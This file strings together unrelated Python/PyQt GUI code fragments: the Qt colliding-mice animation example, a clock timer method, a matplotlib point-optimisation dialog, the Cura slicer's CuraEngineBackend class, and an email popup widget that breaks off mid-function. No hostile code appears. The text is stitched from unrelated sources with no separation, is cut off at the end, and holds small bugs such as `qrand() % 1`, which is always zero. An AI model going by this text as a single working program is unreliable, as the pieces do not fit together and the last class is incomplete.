class Mouse(QGraphicsItem): Pi = math.pi TwoPi = 2.0 * Pi # Create the bounding rectangle once. adjust = 0.5 BoundingRect = QRectF(-20 - adjust, -22 - adjust, 40 + adjust, 83 + adjust) def __init__(self): super(Mouse, self).__init__() self.angle = 0.0 self.speed = 0.0 self.mouseEyeDirection = 0.0 self.color = QColor(qrand() % 256, qrand() % 256, qrand() % 256) self.setRotation(qrand() % (360 * 16)) # In the C++ version of this example, this class is also derived from # QObject in order to receive timer events. PyQt does not support # deriving from more than one wrapped class so we just create an # explicit timer instead. self.timer = QTimer() self.timer.timeout.connect(self.timerEvent) self.timer.start(1000 / 33) @staticmethod def normalizeAngle(angle): while angle < 0: angle += Mouse.TwoPi while angle > Mouse.TwoPi: angle -= Mouse.TwoPi return angle def boundingRect(self): return Mouse.BoundingRect def shape(self): path = QPainterPath() path.addRect(-10, -20, 20, 40) return path def paint(self, painter, option, widget): # Body. painter.setBrush(self.color) painter.drawEllipse(-10, -20, 20, 40) # Eyes. painter.setBrush(Qt.white) painter.drawEllipse(-10, -17, 8, 8) painter.drawEllipse(2, -17, 8, 8) # Nose. painter.setBrush(Qt.black) painter.drawEllipse(QRectF(-2, -22, 4, 4)) # Pupils. painter.drawEllipse(QRectF(-8.0 + self.mouseEyeDirection, -17, 4, 4)) painter.drawEllipse(QRectF(4.0 + self.mouseEyeDirection, -17, 4, 4)) # Ears. if self.scene().collidingItems(self): painter.setBrush(Qt.red) else: painter.setBrush(Qt.darkYellow) painter.drawEllipse(-17, -12, 16, 16) painter.drawEllipse(1, -12, 16, 16) # Tail. path = QPainterPath(QPointF(0, 20)) path.cubicTo(-5, 22, -5, 22, 0, 25) path.cubicTo(5, 27, 5, 32, 0, 30) path.cubicTo(-5, 32, -5, 42, 0, 35) painter.setBrush(Qt.NoBrush) painter.drawPath(path) def timerEvent(self): # Don't move too far away. lineToCenter = QLineF(QPointF(0, 0), self.mapFromScene(0, 0)) if lineToCenter.length() > 150: angleToCenter = math.acos(lineToCenter.dx() / lineToCenter.length()) if lineToCenter.dy() < 0: angleToCenter = Mouse.TwoPi - angleToCenter angleToCenter = Mouse.normalizeAngle((Mouse.Pi - angleToCenter) + Mouse.Pi / 2) if angleToCenter < Mouse.Pi and angleToCenter > Mouse.Pi / 4: # Rotate left. self.angle += [-0.25, 0.25][self.angle < -Mouse.Pi / 2] elif angleToCenter >= Mouse.Pi and angleToCenter < ( Mouse.Pi + Mouse.Pi / 2 + Mouse.Pi / 4): # Rotate right. self.angle += [-0.25, 0.25][self.angle < Mouse.Pi / 2] elif math.sin(self.angle) < 0: self.angle += 0.25 elif math.sin(self.angle) > 0: self.angle -= 0.25 # Try not to crash with any other mice. dangerMice = self.scene().items( QPolygonF([ self.mapToScene(0, 0), self.mapToScene(-30, -50), self.mapToScene(30, -50) ])) for item in dangerMice: if item is self: continue lineToMouse = QLineF(QPointF(0, 0), self.mapFromItem(item, 0, 0)) angleToMouse = math.acos(lineToMouse.dx() / lineToMouse.length()) if lineToMouse.dy() < 0: angleToMouse = Mouse.TwoPi - angleToMouse angleToMouse = Mouse.normalizeAngle((Mouse.Pi - angleToMouse) + Mouse.Pi / 2) if angleToMouse >= 0 and angleToMouse < Mouse.Pi / 2: # Rotate right. self.angle += 0.5 elif angleToMouse <= Mouse.TwoPi and angleToMouse > (Mouse.TwoPi - Mouse.Pi / 2): # Rotate left. self.angle -= 0.5 # Add some random movement. if len(dangerMice) > 1 and (qrand() % 10) == 0: if qrand() % 1: self.angle += (qrand() % 100) / 500.0 else: self.angle -= (qrand() % 100) / 500.0 self.speed += (-50 + qrand() % 100) / 100.0 dx = math.sin(self.angle) * 10 self.mouseEyeDirection = 0.0 if qAbs(dx / 5) < 1 else dx / 5 self.setRotation(self.rotation() + dx) self.setPos(self.mapToParent(0, -(3 + math.sin(self.speed) * 3)))
def clock(self): timer = QTimer(self) timer.timeout.connect(self.showTime) timer.start(1000) self.showTime()
class MyDialog(QtWidgets.QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): self.LeftPlotEnableCB = QtWidgets.QCheckBox("Cummulative", self) self.SquareCB = QtWidgets.QCheckBox("Square", self) self.CircleCB = QtWidgets.QCheckBox("Circle", self) #define the dialog layouts. TopLayout = QtWidgets.QGridLayout(self) ButtonLayout = QtWidgets.QVBoxLayout() GraphLayout = QtWidgets.QHBoxLayout() ParametersLayout = QtWidgets.QFormLayout() ResultsLayout = QtWidgets.QFormLayout() TopLayout.addLayout(ParametersLayout, 7, 2, 1, 2) TopLayout.addLayout(ResultsLayout, 7, 5, 1, 2) TopLayout.addLayout(ButtonLayout, 1, 1, 4, 1) TopLayout.addLayout(GraphLayout, 1, 2, 6, 6) #define the buttons. ResetButton = QtWidgets.QPushButton("Reset", self) ResetButton.clicked.connect(self.Reset) StartButton = QtWidgets.QPushButton("start", self) StartButton.clicked.connect(self.StartOpt) StopButton = QtWidgets.QPushButton("stop", self) LoadFileButton = QtWidgets.QPushButton("Load", self) StopButton.clicked.connect(self.StopOpt) SaveFileButton = QtWidgets.QPushButton("Save", self) #add buttons ton button layout. ButtonLayout.addWidget(ResetButton) ButtonLayout.addWidget(StartButton) ButtonLayout.addWidget(StopButton) ButtonLayout.addWidget(LoadFileButton) ButtonLayout.addWidget(SaveFileButton) ButtonLayout.addWidget(self.LeftPlotEnableCB) ButtonLayout.addWidget(self.SquareCB) ButtonLayout.addWidget(self.CircleCB) fig1 = Figure(figsize=(5, 5), dpi=100) self.axes1 = fig1.add_subplot(111) self.figCanvas1 = FigureCanvas(fig1) self.figCanvas1.setParent(self) GraphLayout.addWidget(self.figCanvas1) fig2 = Figure(figsize=(5, 5), dpi=100) self.axes2 = fig2.add_subplot(111) self.figCanvas2 = FigureCanvas(fig2) self.figCanvas2.setParent(self) GraphLayout.addWidget(self.figCanvas2) StepSizeLabel = QtWidgets.QLabel("StepSize") self.StepSizeText = QtWidgets.QLineEdit("0.1") self.StepSizeText.textChanged.connect(self.UpdateParameters) ParametersLayout.addRow(StepSizeLabel, self.StepSizeText) NumberOfPointsLabel = QtWidgets.QLabel("Numder of points") self.NumberOfPointsText = QtWidgets.QLineEdit("65") self.NumberOfPointsText.textChanged.connect(self.UpdateNumberOfPoints) ParametersLayout.addRow(NumberOfPointsLabel, self.NumberOfPointsText) MaxLoopCountLabel = QtWidgets.QLabel("Maximum Trials") self.MaxLoopCountText = QtWidgets.QLineEdit("100000") self.MaxLoopCountText.textChanged.connect(self.UpdateParameters) ParametersLayout.addRow(MaxLoopCountLabel, self.MaxLoopCountText) TestFieldLabel = QtWidgets.QLabel("Test Field") self.TestFieldText = QtWidgets.QLineEdit("ux") ResultsLayout.addRow(TestFieldLabel, self.TestFieldText) QualityLabel = QtWidgets.QLabel("Quality") self.QualityText = QtWidgets.QLineEdit("???") ResultsLayout.addRow(QualityLabel, self.QualityText) self.mp = Maxp.Maxp() self.Reset() self.Timer = QTimer(self) self.Timer.setInterval(0) self.Timer.timeout.connect(self.TimerProcess) # self.Timer.start() self.show() self.testcounter = 0 def GetNumberOfPoints(self): return int(self.NumberOfPointsText.text()) def GetMaxLoopCount(self): return int(self.MaxLoopCountText.text()) def GetStepSize(self): return float(self.StepSizeText.text()) def UpdateParameters(self): self.mp.SetStepSize(float(self.StepSizeText.text())) self.mp.SetNumberOfPoints(int(self.NumberOfPointsText.text())) self.mp.SetMaxLoopCount(int(self.MaxLoopCountText.text())) def UpdateNumberOfPoints(self): self.mp.SetNumberOfPoints(int(self.NumberOfPointsText.text())) self.Reset() def PlotLeft(self, array): self.axes1.clear() self.axes1.plot(array[0], array[1], 'r+') self.figCanvas1.draw() def PlotRight(self, array): self.axes2.plot(array[0], array[1], 'r.') self.figCanvas2.draw() def StartOpt(self): self.NumberOfPointsText.setReadOnly(True) self.Timer.start() def StopOpt(self): self.NumberOfPointsText.setReadOnly(False) self.Timer.stop() def Reset(self): self.mp.SetStepSize(float(self.StepSizeText.text())) self.mp.SetMaxLoopCount(int(self.MaxLoopCountText.text())) self.mp.SetNumberOfPoints(int(self.NumberOfPointsText.text())) self.mp.InitMaxp() def TimerProcess(self): if self.SquareCB.isChecked() == True: self.mp.SetShape("Square") elif self.CircleCB.isChecked() == True: self.mp.SetShape("Circle") self.testcounter = self.testcounter + 1 self.TestFieldText.setText(str(self.testcounter)) self.PlotLeft(self.mp.GetArrayOfPoints()) if self.LeftPlotEnableCB.isChecked() == True: self.PlotRight(self.mp.GetArrayOfPoints()) if self.mp.Search() >= self.GetMaxLoopCount(): self.Timer.stop() self.QualityText.setText(str(self.mp.GetQuality()))
class CuraEngineBackend(QObject, Backend): ## Starts the back-end plug-in. # # This registers all the signal listeners and prepares for communication # with the back-end in general. # CuraEngineBackend is exposed to qml as well. def __init__(self, parent = None): super().__init__(parent = parent) # Find out where the engine is located, and how it is called. # This depends on how Cura is packaged and which OS we are running on. executable_name = "CuraEngine" if Platform.isWindows(): executable_name += ".exe" default_engine_location = executable_name if os.path.exists(os.path.join(Application.getInstallPrefix(), "bin", executable_name)): default_engine_location = os.path.join(Application.getInstallPrefix(), "bin", executable_name) if hasattr(sys, "frozen"): default_engine_location = os.path.join(os.path.dirname(os.path.abspath(sys.executable)), executable_name) if Platform.isLinux() and not default_engine_location: if not os.getenv("PATH"): raise OSError("There is something wrong with your Linux installation.") for pathdir in os.getenv("PATH").split(os.pathsep): execpath = os.path.join(pathdir, executable_name) if os.path.exists(execpath): default_engine_location = execpath break if not default_engine_location: raise EnvironmentError("Could not find CuraEngine") Logger.log("i", "Found CuraEngine at: %s" %(default_engine_location)) default_engine_location = os.path.abspath(default_engine_location) Preferences.getInstance().addPreference("backend/location", default_engine_location) # Workaround to disable layer view processing if layer view is not active. self._layer_view_active = False Application.getInstance().getController().activeViewChanged.connect(self._onActiveViewChanged) self._onActiveViewChanged() self._stored_layer_data = [] self._stored_optimized_layer_data = [] self._scene = Application.getInstance().getController().getScene() self._scene.sceneChanged.connect(self._onSceneChanged) # Triggers for auto-slicing. Auto-slicing is triggered as follows: # - auto-slicing is started with a timer # - whenever there is a value change, we start the timer # - sometimes an error check can get scheduled for a value change, in that case, we ONLY want to start the # auto-slicing timer when that error check is finished # If there is an error check, it will set the "_is_error_check_scheduled" flag, stop the auto-slicing timer, # and only wait for the error check to be finished to start the auto-slicing timer again. # self._global_container_stack = None Application.getInstance().globalContainerStackChanged.connect(self._onGlobalStackChanged) self._onGlobalStackChanged() Application.getInstance().stacksValidationFinished.connect(self._onStackErrorCheckFinished) # A flag indicating if an error check was scheduled # If so, we will stop the auto-slice timer and start upon the error check self._is_error_check_scheduled = False # Listeners for receiving messages from the back-end. self._message_handlers["cura.proto.Layer"] = self._onLayerMessage self._message_handlers["cura.proto.LayerOptimized"] = self._onOptimizedLayerMessage self._message_handlers["cura.proto.Progress"] = self._onProgressMessage self._message_handlers["cura.proto.GCodeLayer"] = self._onGCodeLayerMessage self._message_handlers["cura.proto.GCodePrefix"] = self._onGCodePrefixMessage self._message_handlers["cura.proto.PrintTimeMaterialEstimates"] = self._onPrintTimeMaterialEstimates self._message_handlers["cura.proto.SlicingFinished"] = self._onSlicingFinishedMessage self._start_slice_job = None self._slicing = False # Are we currently slicing? self._restart = False # Back-end is currently restarting? self._tool_active = False # If a tool is active, some tasks do not have to do anything self._always_restart = True # Always restart the engine when starting a new slice. Don't keep the process running. TODO: Fix engine statelessness. self._process_layers_job = None # The currently active job to process layers, or None if it is not processing layers. self._need_slicing = False self._engine_is_fresh = True # Is the newly started engine used before or not? self._backend_log_max_lines = 20000 # Maximum number of lines to buffer self._error_message = None # Pop-up message that shows errors. self._last_num_objects = 0 # Count number of objects to see if there is something changed self._postponed_scene_change_sources = [] # scene change is postponed (by a tool) self.backendQuit.connect(self._onBackendQuit) self.backendConnected.connect(self._onBackendConnected) # When a tool operation is in progress, don't slice. So we need to listen for tool operations. Application.getInstance().getController().toolOperationStarted.connect(self._onToolOperationStarted) Application.getInstance().getController().toolOperationStopped.connect(self._onToolOperationStopped) self._slice_start_time = None Preferences.getInstance().addPreference("general/auto_slice", True) self._use_timer = False # When you update a setting and other settings get changed through inheritance, many propertyChanged signals are fired. # This timer will group them up, and only slice for the last setting changed signal. # TODO: Properly group propertyChanged signals by whether they are triggered by the same user interaction. self._change_timer = QTimer() self._change_timer.setSingleShot(True) self._change_timer.setInterval(500) self.determineAutoSlicing() Preferences.getInstance().preferenceChanged.connect(self._onPreferencesChanged) ## Terminate the engine process. # # This function should terminate the engine process. # Called when closing the application. def close(self): # Terminate CuraEngine if it is still running at this point self._terminate() ## Get the command that is used to call the engine. # This is useful for debugging and used to actually start the engine. # \return list of commands and args / parameters. def getEngineCommand(self): json_path = Resources.getPath(Resources.DefinitionContainers, "fdmprinter.def.json") return [Preferences.getInstance().getValue("backend/location"), "connect", "127.0.0.1:{0}".format(self._port), "-j", json_path, ""] ## Emitted when we get a message containing print duration and material amount. # This also implies the slicing has finished. # \param time The amount of time the print will take. # \param material_amount The amount of material the print will use. printDurationMessage = Signal() ## Emitted when the slicing process starts. slicingStarted = Signal() ## Emitted when the slicing process is aborted forcefully. slicingCancelled = Signal() @pyqtSlot() def stopSlicing(self): self.backendStateChange.emit(BackendState.NotStarted) if self._slicing: # We were already slicing. Stop the old job. self._terminate() self._createSocket() if self._process_layers_job: # We were processing layers. Stop that, the layers are going to change soon. self._process_layers_job.abort() self._process_layers_job = None if self._error_message: self._error_message.hide() ## Manually triggers a reslice @pyqtSlot() def forceSlice(self): if self._use_timer: self._change_timer.start() else: self.slice() ## Perform a slice of the scene. def slice(self): self._slice_start_time = time() if not self._need_slicing: self.processingProgress.emit(1.0) self.backendStateChange.emit(BackendState.Done) Logger.log("w", "Slice unnecessary, nothing has changed that needs reslicing.") return if Application.getInstance().getPrintInformation(): Application.getInstance().getPrintInformation().setToZeroPrintInformation() self._stored_layer_data = [] self._stored_optimized_layer_data = [] if self._process is None: self._createSocket() self.stopSlicing() self._engine_is_fresh = False # Yes we're going to use the engine self.processingProgress.emit(0.0) self.backendStateChange.emit(BackendState.NotStarted) self._scene.gcode_list = [] self._slicing = True self.slicingStarted.emit() slice_message = self._socket.createMessage("cura.proto.Slice") self._start_slice_job = StartSliceJob.StartSliceJob(slice_message) self._start_slice_job.start() self._start_slice_job.finished.connect(self._onStartSliceCompleted) ## Terminate the engine process. # Start the engine process by calling _createSocket() def _terminate(self): self._slicing = False self._stored_layer_data = [] self._stored_optimized_layer_data = [] if self._start_slice_job is not None: self._start_slice_job.cancel() self.slicingCancelled.emit() self.processingProgress.emit(0) Logger.log("d", "Attempting to kill the engine process") if Application.getInstance().getCommandLineOption("external-backend", False): return if self._process is not None: Logger.log("d", "Killing engine process") try: self._process.terminate() Logger.log("d", "Engine process is killed. Received return code %s", self._process.wait()) self._process = None except Exception as e: # terminating a process that is already terminating causes an exception, silently ignore this. Logger.log("d", "Exception occurred while trying to kill the engine %s", str(e)) ## Event handler to call when the job to initiate the slicing process is # completed. # # When the start slice job is successfully completed, it will be happily # slicing. This function handles any errors that may occur during the # bootstrapping of a slice job. # # \param job The start slice job that was just finished. def _onStartSliceCompleted(self, job): if self._error_message: self._error_message.hide() # Note that cancelled slice jobs can still call this method. if self._start_slice_job is job: self._start_slice_job = None if job.isCancelled() or job.getError() or job.getResult() == StartSliceJob.StartJobResult.Error: return if job.getResult() == StartSliceJob.StartJobResult.MaterialIncompatible: if Application.getInstance().platformActivity: self._error_message = Message(catalog.i18nc("@info:status", "Unable to slice with the current material as it is incompatible with the selected machine or configuration."), title = catalog.i18nc("@info:title", "Unable to slice")) self._error_message.show() self.backendStateChange.emit(BackendState.Error) else: self.backendStateChange.emit(BackendState.NotStarted) return if job.getResult() == StartSliceJob.StartJobResult.SettingError: if Application.getInstance().platformActivity: extruders = list(ExtruderManager.getInstance().getMachineExtruders(self._global_container_stack.getId())) error_keys = [] for extruder in extruders: error_keys.extend(extruder.getErrorKeys()) if not extruders: error_keys = self._global_container_stack.getErrorKeys() error_labels = set() for key in error_keys: for stack in [self._global_container_stack] + extruders: #Search all container stacks for the definition of this setting. Some are only in an extruder stack. definitions = stack.getBottom().findDefinitions(key = key) if definitions: break #Found it! No need to continue search. else: #No stack has a definition for this setting. Logger.log("w", "When checking settings for errors, unable to find definition for key: {key}".format(key = key)) continue error_labels.add(definitions[0].label) error_labels = ", ".join(error_labels) self._error_message = Message(catalog.i18nc("@info:status", "Unable to slice with the current settings. The following settings have errors: {0}".format(error_labels)), title = catalog.i18nc("@info:title", "Unable to slice")) self._error_message.show() self.backendStateChange.emit(BackendState.Error) else: self.backendStateChange.emit(BackendState.NotStarted) return if job.getResult() == StartSliceJob.StartJobResult.BuildPlateError: if Application.getInstance().platformActivity: self._error_message = Message(catalog.i18nc("@info:status", "Unable to slice because the prime tower or prime position(s) are invalid."), title = catalog.i18nc("@info:title", "Unable to slice")) self._error_message.show() self.backendStateChange.emit(BackendState.Error) else: self.backendStateChange.emit(BackendState.NotStarted) if job.getResult() == StartSliceJob.StartJobResult.NothingToSlice: if Application.getInstance().platformActivity: self._error_message = Message(catalog.i18nc("@info:status", "Nothing to slice because none of the models fit the build volume. Please scale or rotate models to fit."), title = catalog.i18nc("@info:title", "Unable to slice")) self._error_message.show() self.backendStateChange.emit(BackendState.Error) else: self.backendStateChange.emit(BackendState.NotStarted) return # Preparation completed, send it to the backend. self._socket.sendMessage(job.getSliceMessage()) # Notify the user that it's now up to the backend to do it's job self.backendStateChange.emit(BackendState.Processing) Logger.log("d", "Sending slice message took %s seconds", time() - self._slice_start_time ) ## Determine enable or disable auto slicing. Return True for enable timer and False otherwise. # It disables when # - preference auto slice is off # - decorator isBlockSlicing is found (used in g-code reader) def determineAutoSlicing(self): enable_timer = True if not Preferences.getInstance().getValue("general/auto_slice"): enable_timer = False for node in DepthFirstIterator(self._scene.getRoot()): if node.callDecoration("isBlockSlicing"): enable_timer = False self.backendStateChange.emit(BackendState.Disabled) gcode_list = node.callDecoration("getGCodeList") if gcode_list is not None: self._scene.gcode_list = gcode_list if self._use_timer == enable_timer: return self._use_timer if enable_timer: self.backendStateChange.emit(BackendState.NotStarted) self.enableTimer() return True else: self.disableTimer() return False ## Listener for when the scene has changed. # # This should start a slice if the scene is now ready to slice. # # \param source The scene node that was changed. def _onSceneChanged(self, source): if type(source) is not SceneNode: return root_scene_nodes_changed = False if source == self._scene.getRoot(): num_objects = 0 for node in DepthFirstIterator(self._scene.getRoot()): # Only count sliceable objects if node.callDecoration("isSliceable"): num_objects += 1 if num_objects != self._last_num_objects: self._last_num_objects = num_objects root_scene_nodes_changed = True else: return if not source.callDecoration("isGroup") and not root_scene_nodes_changed: if source.getMeshData() is None: return if source.getMeshData().getVertices() is None: return if self._tool_active: # do it later, each source only has to be done once if source not in self._postponed_scene_change_sources: self._postponed_scene_change_sources.append(source) return self.needsSlicing() self.stopSlicing() self._onChanged() ## Called when an error occurs in the socket connection towards the engine. # # \param error The exception that occurred. def _onSocketError(self, error): if Application.getInstance().isShuttingDown(): return super()._onSocketError(error) if error.getErrorCode() == Arcus.ErrorCode.Debug: return self._terminate() self._createSocket() if error.getErrorCode() not in [Arcus.ErrorCode.BindFailedError, Arcus.ErrorCode.ConnectionResetError, Arcus.ErrorCode.Debug]: Logger.log("w", "A socket error caused the connection to be reset") ## Remove old layer data (if any) def _clearLayerData(self): for node in DepthFirstIterator(self._scene.getRoot()): if node.callDecoration("getLayerData"): node.getParent().removeChild(node) break ## Convenient function: set need_slicing, emit state and clear layer data def needsSlicing(self): self.stopSlicing() self._need_slicing = True self.processingProgress.emit(0.0) self.backendStateChange.emit(BackendState.NotStarted) if not self._use_timer: # With manually having to slice, we want to clear the old invalid layer data. self._clearLayerData() ## A setting has changed, so check if we must reslice. # \param instance The setting instance that has changed. # \param property The property of the setting instance that has changed. def _onSettingChanged(self, instance, property): if property == "value": # Only reslice if the value has changed. self.needsSlicing() self._onChanged() elif property == "validationState": if self._use_timer: self._is_error_check_scheduled = True self._change_timer.stop() def _onStackErrorCheckFinished(self): self._is_error_check_scheduled = False if self._need_slicing: self.needsSlicing() self._onChanged() ## Called when a sliced layer data message is received from the engine. # # \param message The protobuf message containing sliced layer data. def _onLayerMessage(self, message): self._stored_layer_data.append(message) ## Called when an optimized sliced layer data message is received from the engine. # # \param message The protobuf message containing sliced layer data. def _onOptimizedLayerMessage(self, message): self._stored_optimized_layer_data.append(message) ## Called when a progress message is received from the engine. # # \param message The protobuf message containing the slicing progress. def _onProgressMessage(self, message): self.processingProgress.emit(message.amount) self.backendStateChange.emit(BackendState.Processing) ## Called when the engine sends a message that slicing is finished. # # \param message The protobuf message signalling that slicing is finished. def _onSlicingFinishedMessage(self, message): self.backendStateChange.emit(BackendState.Done) self.processingProgress.emit(1.0) for line in self._scene.gcode_list: replaced = line.replace("{print_time}", str(Application.getInstance().getPrintInformation().currentPrintTime.getDisplayString(DurationFormat.Format.ISO8601))) replaced = replaced.replace("{filament_amount}", str(Application.getInstance().getPrintInformation().materialLengths)) replaced = replaced.replace("{filament_weight}", str(Application.getInstance().getPrintInformation().materialWeights)) replaced = replaced.replace("{filament_cost}", str(Application.getInstance().getPrintInformation().materialCosts)) replaced = replaced.replace("{jobname}", str(Application.getInstance().getPrintInformation().jobName)) self._scene.gcode_list[self._scene.gcode_list.index(line)] = replaced self._slicing = False self._need_slicing = False Logger.log("d", "Slicing took %s seconds", time() - self._slice_start_time ) if self._layer_view_active and (self._process_layers_job is None or not self._process_layers_job.isRunning()): self._process_layers_job = ProcessSlicedLayersJob.ProcessSlicedLayersJob(self._stored_optimized_layer_data) self._process_layers_job.finished.connect(self._onProcessLayersFinished) self._process_layers_job.start() self._stored_optimized_layer_data = [] ## Called when a g-code message is received from the engine. # # \param message The protobuf message containing g-code, encoded as UTF-8. def _onGCodeLayerMessage(self, message): self._scene.gcode_list.append(message.data.decode("utf-8", "replace")) ## Called when a g-code prefix message is received from the engine. # # \param message The protobuf message containing the g-code prefix, # encoded as UTF-8. def _onGCodePrefixMessage(self, message): self._scene.gcode_list.insert(0, message.data.decode("utf-8", "replace")) ## Creates a new socket connection. def _createSocket(self): super()._createSocket(os.path.abspath(os.path.join(PluginRegistry.getInstance().getPluginPath(self.getPluginId()), "Cura.proto"))) self._engine_is_fresh = True ## Called when anything has changed to the stuff that needs to be sliced. # # This indicates that we should probably re-slice soon. def _onChanged(self, *args, **kwargs): self.needsSlicing() if self._use_timer: # if the error check is scheduled, wait for the error check finish signal to trigger auto-slice, # otherwise business as usual if self._is_error_check_scheduled: self._change_timer.stop() else: self._change_timer.start() ## Called when a print time message is received from the engine. # # \param message The protobuf message containing the print time per feature and # material amount per extruder def _onPrintTimeMaterialEstimates(self, message): material_amounts = [] for index in range(message.repeatedMessageCount("materialEstimates")): material_amounts.append(message.getRepeatedMessage("materialEstimates", index).material_amount) times = self._parseMessagePrintTimes(message) self.printDurationMessage.emit(times, material_amounts) ## Called for parsing message to retrieve estimated time per feature # # \param message The protobuf message containing the print time per feature def _parseMessagePrintTimes(self, message): result = { "inset_0": message.time_inset_0, "inset_x": message.time_inset_x, "skin": message.time_skin, "infill": message.time_infill, "support_infill": message.time_support_infill, "support_interface": message.time_support_interface, "support": message.time_support, "skirt": message.time_skirt, "travel": message.time_travel, "retract": message.time_retract, "none": message.time_none } return result ## Called when the back-end connects to the front-end. def _onBackendConnected(self): if self._restart: self._restart = False self._onChanged() ## Called when the user starts using some tool. # # When the user starts using a tool, we should pause slicing to prevent # continuously slicing while the user is dragging some tool handle. # # \param tool The tool that the user is using. def _onToolOperationStarted(self, tool): self._tool_active = True # Do not react on scene change self.disableTimer() # Restart engine as soon as possible, we know we want to slice afterwards if not self._engine_is_fresh: self._terminate() self._createSocket() ## Called when the user stops using some tool. # # This indicates that we can safely start slicing again. # # \param tool The tool that the user was using. def _onToolOperationStopped(self, tool): self._tool_active = False # React on scene change again self.determineAutoSlicing() # Switch timer on if appropriate # Process all the postponed scene changes while self._postponed_scene_change_sources: source = self._postponed_scene_change_sources.pop(0) self._onSceneChanged(source) ## Called when the user changes the active view mode. def _onActiveViewChanged(self): if Application.getInstance().getController().getActiveView(): view = Application.getInstance().getController().getActiveView() if view.getPluginId() == "LayerView": # If switching to layer view, we should process the layers if that hasn't been done yet. self._layer_view_active = True # There is data and we're not slicing at the moment # if we are slicing, there is no need to re-calculate the data as it will be invalid in a moment. if self._stored_optimized_layer_data and not self._slicing: self._process_layers_job = ProcessSlicedLayersJob.ProcessSlicedLayersJob(self._stored_optimized_layer_data) self._process_layers_job.finished.connect(self._onProcessLayersFinished) self._process_layers_job.start() self._stored_optimized_layer_data = [] else: self._layer_view_active = False ## Called when the back-end self-terminates. # # We should reset our state and start listening for new connections. def _onBackendQuit(self): if not self._restart: if self._process: Logger.log("d", "Backend quit with return code %s. Resetting process and socket.", self._process.wait()) self._process = None ## Called when the global container stack changes def _onGlobalStackChanged(self): if self._global_container_stack: self._global_container_stack.propertyChanged.disconnect(self._onSettingChanged) self._global_container_stack.containersChanged.disconnect(self._onChanged) extruders = list(ExtruderManager.getInstance().getMachineExtruders(self._global_container_stack.getId())) for extruder in extruders: extruder.propertyChanged.disconnect(self._onSettingChanged) extruder.containersChanged.disconnect(self._onChanged) self._global_container_stack = Application.getInstance().getGlobalContainerStack() if self._global_container_stack: self._global_container_stack.propertyChanged.connect(self._onSettingChanged) # Note: Only starts slicing when the value changed. self._global_container_stack.containersChanged.connect(self._onChanged) extruders = list(ExtruderManager.getInstance().getMachineExtruders(self._global_container_stack.getId())) for extruder in extruders: extruder.propertyChanged.connect(self._onSettingChanged) extruder.containersChanged.connect(self._onChanged) self._onChanged() def _onProcessLayersFinished(self, job): self._process_layers_job = None ## Connect slice function to timer. def enableTimer(self): if not self._use_timer: self._change_timer.timeout.connect(self.slice) self._use_timer = True ## Disconnect slice function from timer. # This means that slicing will not be triggered automatically def disableTimer(self): if self._use_timer: self._use_timer = False self._change_timer.timeout.disconnect(self.slice) def _onPreferencesChanged(self, preference): if preference != "general/auto_slice": return auto_slice = self.determineAutoSlicing() if auto_slice: self._change_timer.start() ## Tickle the backend so in case of auto slicing, it starts the timer. def tickle(self): if self._use_timer: self._change_timer.start()
class PopupWin(QtWidgets.QWidget): # 构造函数,调用初始化函数 def __init__(self): super().__init__() self._init() # 初始化函数,设置弹框窗体大小、样式、布局、窗体内的关闭、查看按钮等控件、不同邮件类型的处理、弹框动画、动画起始位置 def _init(self): # 设置widget大小 self.resize(450, 200) # 隐藏任务栏,去掉边框,顶层显示 self.setWindowFlags(Qt.Tool | Qt.X11BypassWindowManagerHint | Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint) # 设置样式表 self.setStyleSheet("QWidget#widgetTitle {\n" " background-color: rgb(76, 169, 106);\n" "}\n" "QWidget#widgetBottom {\n" " border-top-style: solid;\n" " border-top-width: 2px;\n" " border-top-color: rgb(185, 218, 201);\n" "}\n" "QLabel#labelTitle {\n" " color: rgb(255, 255, 255);\n" "}\n" "QLabel#labelContent {\n" " padding: 5px;\n" "}\n" "QPushButton {\n" " border: none;\n" " background: transparent;\n" "}\n" "QPushButton#buttonClose {\n" " font-family: \"webdings\";\n" " color: rgb(255, 255, 255);\n" "}\n" "QPushButton#buttonClose:hover {\n" " background-color: rgb(212, 64, 39);\n" "}\n" "QPushButton#buttonView {\n" " color: rgb(255, 255, 255);\n" " border-radius: 5px;\n" " border: solid 1px rgb(76, 169, 106);\n" " background-color: rgb(76, 169, 106);\n" "}\n" "QPushButton#buttonView:hover {\n" " color: rgb(0, 0, 0);\n" "}") # 设置横着的布局,总体布局 self.verticalLayout = QtWidgets.QVBoxLayout(self) # 设置布局内预留的空白边框宽度 self.verticalLayout.setContentsMargins(0, 0, 0, 0) # 设置布局内各个空间横向和纵向的间距6px self.verticalLayout.setSpacing(6) self.verticalLayout.setObjectName("verticalLayout") # 标题栏 self.widgetTitle = QtWidgets.QWidget(self) self.widgetTitle.setMinimumSize(QtCore.QSize(0, 26)) self.widgetTitle.setObjectName("widgetTitle") # 竖着的布局 self.horizontalLayout_1 = QtWidgets.QHBoxLayout(self.widgetTitle) # 设置布局内预留的空白边框宽度 self.horizontalLayout_1.setContentsMargins(10, 0, 0, 0) # 设置布局内各个空间横向和纵向的间距0px self.horizontalLayout_1.setSpacing(0) self.horizontalLayout_1.setObjectName("horizontalLayout_1") # 标题栏标签 self.labelTitle = QtWidgets.QLabel(self.widgetTitle) self.labelTitle.setText("新邮件") self.labelTitle.setObjectName("labelTitle") # 竖着的布局增加标题栏标签 self.horizontalLayout_1.addWidget(self.labelTitle) # 添加空白区宽40px、高20px,宽度尽可能扩大,高度尽可能缩小 spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_1.addItem(spacerItem) # 关闭按钮 self.buttonClose = QtWidgets.QPushButton(self.widgetTitle) self.buttonClose.setText("r") self.buttonClose.setMinimumSize(QtCore.QSize(30, 30)) self.buttonClose.setMaximumSize(QtCore.QSize(30, 30)) self.buttonClose.setObjectName("buttonClose") # 竖着的布局增加关闭按钮 self.horizontalLayout_1.addWidget(self.buttonClose) # 横着的布局添加竖着的布局的标题栏在上面 self.verticalLayout.addWidget(self.widgetTitle) # 增加放新邮件内容的窗口 self.mailInfo = QtWidgets.QWidget(self) self.mailInfo.resize(420, 130) self.mailInfo.setObjectName("mailInfo") # 在邮件内容窗体中添加竖着的布局 self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.mailInfo) # 设置布局内预留的空白边框宽度 self.horizontalLayout_2.setContentsMargins(10, 0, 0, 0) # 设置布局内各个空间横向和纵向的间距0px 